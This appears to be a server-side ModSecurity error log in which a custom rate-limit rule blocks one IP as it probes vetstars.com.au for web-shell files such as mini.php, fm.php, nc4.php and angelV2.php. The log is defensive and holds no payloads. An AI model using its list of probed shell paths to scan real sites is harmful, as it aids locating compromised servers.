[Wed Dec 17 04:15:14.428086 2025] [:error] [pid 61380:tid 61438] [client 135.235.159.29:54922] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aUG90lDXNylu9SqhT6oQdwAAAIA"]
[Wed Dec 17 04:15:14.999061 2025] [:error] [pid 61378:tid 61394] [client 135.235.159.29:54949] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aUG90h5G6F9PXKmYDCSKAAAAAAs"]
[Wed Dec 17 04:15:16.527165 2025] [:error] [pid 61378:tid 61384] [client 135.235.159.29:54941] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aUG91B5G6F9PXKmYDCSKBQAAAAE"]
[Wed Dec 17 04:15:18.282092 2025] [:error] [pid 61378:tid 61383] [client 135.235.159.29:6341] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aUG91h5G6F9PXKmYDCSKCAAAAAA"]
[Wed Dec 17 04:15:20.730789 2025] [:error] [pid 61378:tid 61406] [client 135.235.159.29:43034] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aUG92B5G6F9PXKmYDCSKFwAAABc"]
[Wed Dec 17 04:15:21.646014 2025] [:error] [pid 61379:tid 61426] [client 135.235.159.29:51719] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aUG92VX4E86rnrNa_8NvlQAAAE8"]
[Wed Dec 17 04:15:22.966611 2025] [:error] [pid 61380:tid 61452] [client 135.235.159.29:52276] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aUG92lDXNylu9SqhT6oQjAAAAI4"]
[Wed Dec 17 04:15:25.002347 2025] [:error] [pid 61379:tid 61416] [client 135.235.159.29:53363] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aUG93VX4E86rnrNa_8NvrwAAAEU"]
[Wed Dec 17 04:15:26.995993 2025] [:error] [pid 61472:tid 61477] [client 135.235.159.29:43049] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aUG93hAY-vW9raLQk19ZkgAAAMM"]
[Wed Dec 17 04:15:28.250165 2025] [:error] [pid 61379:tid 61428] [client 135.235.159.29:53359] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aUG94FX4E86rnrNa_8NvxAAAAFE"]
[Wed Dec 17 04:15:29.436608 2025] [:error] [pid 61379:tid 61414] [client 135.235.159.29:54516] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aUG94VX4E86rnrNa_8NvyAAAAEM"]
[Wed Dec 17 04:15:34.061249 2025] [:error] [pid 61472:tid 61486] [client 135.235.159.29:44353] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aUG95hAY-vW9raLQk19Z8wAAAMw"]
[Wed Dec 17 04:15:35.772798 2025] [:error] [pid 61378:tid 61388] [client 135.235.159.29:50179] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aUG95x5G6F9PXKmYDCSKOQAAAAU"]
[Wed Dec 17 04:15:37.042636 2025] [:error] [pid 61380:tid 61441] [client 135.235.159.29:54515] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aUG96VDXNylu9SqhT6oQqAAAAIM"]
[Wed Dec 17 04:15:38.102544 2025] [:error] [pid 61472:tid 61484] [client 135.235.159.29:54579] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aUG96hAY-vW9raLQk19aHAAAAMo"]
[Wed Dec 17 04:15:39.725283 2025] [:error] [pid 61378:tid 61383] [client 135.235.159.29:7094] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aUG96x5G6F9PXKmYDCSKQwAAAAA"]
[Wed Dec 17 04:15:40.441523 2025] [:error] [pid 61380:tid 61447] [client 135.235.159.29:46162] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aUG97FDXNylu9SqhT6oQrgAAAIk"]
[Wed Dec 17 04:15:41.062972 2025] [:error] [pid 61379:tid 61414] [client 135.235.159.29:45362] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aUG97VX4E86rnrNa_8Nv5QAAAEM"]
[Wed Dec 17 04:15:42.273817 2025] [:error] [pid 61379:tid 61423] [client 135.235.159.29:49777] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aUG97lX4E86rnrNa_8Nv7QAAAEw"]
[Wed Dec 17 04:15:43.188918 2025] [:error] [pid 61379:tid 61422] [client 135.235.159.29:50236] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUG971X4E86rnrNa_8Nv9wAAAEs"]
[Wed Dec 17 04:15:44.504647 2025] [:error] [pid 61380:tid 61451] [client 135.235.159.29:46945] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUG98FDXNylu9SqhT6oQwQAAAI0"]
[Wed Dec 17 04:15:45.724651 2025] [:error] [pid 61380:tid 61456] [client 135.235.159.29:57520] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUG98VDXNylu9SqhT6oQwwAAAJI"]
[Wed Dec 17 04:15:46.884137 2025] [:error] [pid 61472:tid 61494] [client 135.235.159.29:53408] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUG98hAY-vW9raLQk19aOQAAANQ"]
[Wed Dec 17 04:15:47.674641 2025] [:error] [pid 61472:tid 61496] [client 135.235.159.29:57160] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aUG98xAY-vW9raLQk19aOwAAANY"]
[Wed Dec 17 04:15:48.270718 2025] [:error] [pid 61378:tid 61393] [client 135.235.159.29:54522] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aUG99B5G6F9PXKmYDCSKVwAAAAo"]
[Wed Dec 17 04:15:48.928084 2025] [:error] [pid 61380:tid 61452] [client 135.235.159.29:7101] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aUG99FDXNylu9SqhT6oQyQAAAI4"]
[Wed Dec 17 04:15:49.784146 2025] [:error] [pid 61380:tid 61441] [client 135.235.159.29:57531] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aUG99VDXNylu9SqhT6oQzQAAAIM"]
[Wed Dec 17 04:15:50.631016 2025] [:error] [pid 61380:tid 61440] [client 135.235.159.29:45103] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aUG99lDXNylu9SqhT6oQ0wAAAII"]
[Wed Dec 17 04:15:51.077384 2025] [:error] [pid 61472:tid 61485] [client 135.235.159.29:7082] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aUG99xAY-vW9raLQk19aQgAAAMs"]
[Wed Dec 17 04:15:52.307829 2025] [:error] [pid 61380:tid 61442] [client 135.235.159.29:50221] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aUG9-FDXNylu9SqhT6oQ1gAAAIQ"]
[Wed Dec 17 04:15:52.869020 2025] [:error] [pid 61378:tid 61404] [client 135.235.159.29:46914] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aUG9-B5G6F9PXKmYDCSKYwAAABU"]
[Wed Dec 17 04:15:54.126281 2025] [:error] [pid 61378:tid 61392] [client 135.235.159.29:46932] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aUG9-h5G6F9PXKmYDCSKZQAAAAk"]
[Wed Dec 17 04:15:55.454450 2025] [:error] [pid 61378:tid 61388] [client 135.235.159.29:54468] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aUG9-x5G6F9PXKmYDCSKbQAAAAU"]
[Wed Dec 17 04:15:56.129400 2025] [:error] [pid 61378:tid 61403] [client 135.235.159.29:53418] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aUG9_B5G6F9PXKmYDCSKcQAAABQ"]
[Wed Dec 17 04:15:56.909988 2025] [:error] [pid 61472:tid 61494] [client 135.235.159.29:44393] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aUG9_BAY-vW9raLQk19aWAAAANQ"]
[Wed Dec 17 04:15:58.233149 2025] [:error] [pid 61378:tid 61383] [client 135.235.159.29:53393] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aUG9_h5G6F9PXKmYDCSKcgAAAAA"]
[Wed Dec 17 04:15:59.653974 2025] [:error] [pid 61379:tid 61423] [client 135.235.159.29:49073] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aUG9_1X4E86rnrNa_8NwKgAAAEw"]
[Wed Dec 17 04:16:01.110831 2025] [:error] [pid 61379:tid 61414] [client 135.235.159.29:6797] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aUG-AVX4E86rnrNa_8NwLgAAAEM"]
[Wed Dec 17 04:16:02.309469 2025] [:error] [pid 61472:tid 61490] [client 135.235.159.29:53381] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aUG-AhAY-vW9raLQk19aZgAAANA"]
[Wed Dec 17 04:16:03.459941 2025] [:error] [pid 61380:tid 61454] [client 135.235.159.29:42051] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUG-A1DXNylu9SqhT6oQ7AAAAJA"]
[Wed Dec 17 04:16:04.660934 2025] [:error] [pid 61380:tid 61440] [client 135.235.159.29:46671] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUG-BFDXNylu9SqhT6oQ7gAAAII"]
[Wed Dec 17 04:16:05.600099 2025] [:error] [pid 61472:tid 61482] [client 135.235.159.29:6821] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUG-BRAY-vW9raLQk19abwAAAMg"]
[Wed Dec 17 04:16:07.173959 2025] [:error] [pid 61379:tid 61415] [client 135.235.159.29:57174] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUG-B1X4E86rnrNa_8NwSgAAAEQ"]
[Wed Dec 17 04:16:07.928217 2025] [:error] [pid 61380:tid 61456] [client 135.235.159.29:44353] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aUG-B1DXNylu9SqhT6oQ9AAAAJI"]
[Wed Dec 17 04:16:09.782422 2025] [:error] [pid 61472:tid 61483] [client 135.235.159.29:46715] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aUG-CRAY-vW9raLQk19ahAAAAMk"]
[Wed Dec 17 04:16:10.284661 2025] [:error] [pid 61472:tid 61475] [client 135.235.159.29:47942] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aUG-ChAY-vW9raLQk19aiAAAAME"]
[Wed Dec 17 04:16:11.568676 2025] [:error] [pid 61472:tid 61481] [client 135.235.159.29:49052] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aUG-CxAY-vW9raLQk19ajgAAAMc"]
[Wed Dec 17 04:16:18.588738 2025] [:error] [pid 34425:tid 34436] [client 135.235.159.29:52195] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aUG-EnYomI61qeXluxnLHAAAAAE"]
[Wed Dec 17 04:16:20.734604 2025] [:error] [pid 34425:tid 34457] [client 135.235.159.29:52178] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aUG-FHYomI61qeXluxnLLQAAABY"]
[Wed Dec 17 04:16:22.382653 2025] [:error] [pid 34425:tid 34436] [client 135.235.159.29:58441] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aUG-FnYomI61qeXluxnLMwAAAAE"]
[Wed Dec 17 04:16:27.144102 2025] [:error] [pid 34426:tid 34478] [client 135.235.159.29:47951] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUG-G6QO2ouZ9o0DVKtFvgAAAEc"]
[Wed Dec 17 04:16:27.507441 2025] [:error] [pid 34425:tid 34440] [client 135.235.159.29:46659] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUG-G3YomI61qeXluxnLTgAAAAU"]
[Wed Dec 17 04:16:27.997161 2025] [:error] [pid 34425:tid 34439] [client 135.235.159.29:47776] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUG-G3YomI61qeXluxnLUQAAAAQ"]
[Wed Dec 17 04:16:29.644809 2025] [:error] [pid 34530:tid 34554] [client 135.235.159.29:47985] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUG-HQI6Bygs2oJsrN0EfgAAANY"]
[Wed Dec 17 04:16:30.430387 2025] [:error] [pid 34426:tid 34493] [client 135.235.159.29:52177] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aUG-HqQO2ouZ9o0DVKtFyAAAAFY"]
[Wed Dec 17 04:16:30.907832 2025] [:error] [pid 34426:tid 34475] [client 135.235.159.29:44356] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aUG-HqQO2ouZ9o0DVKtFygAAAEQ"]
[Wed Dec 17 04:16:39.078319 2025] [:error] [pid 34426:tid 34481] [client 135.235.159.29:53416] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aUG-J6QO2ouZ9o0DVKtF9QAAAEo"]
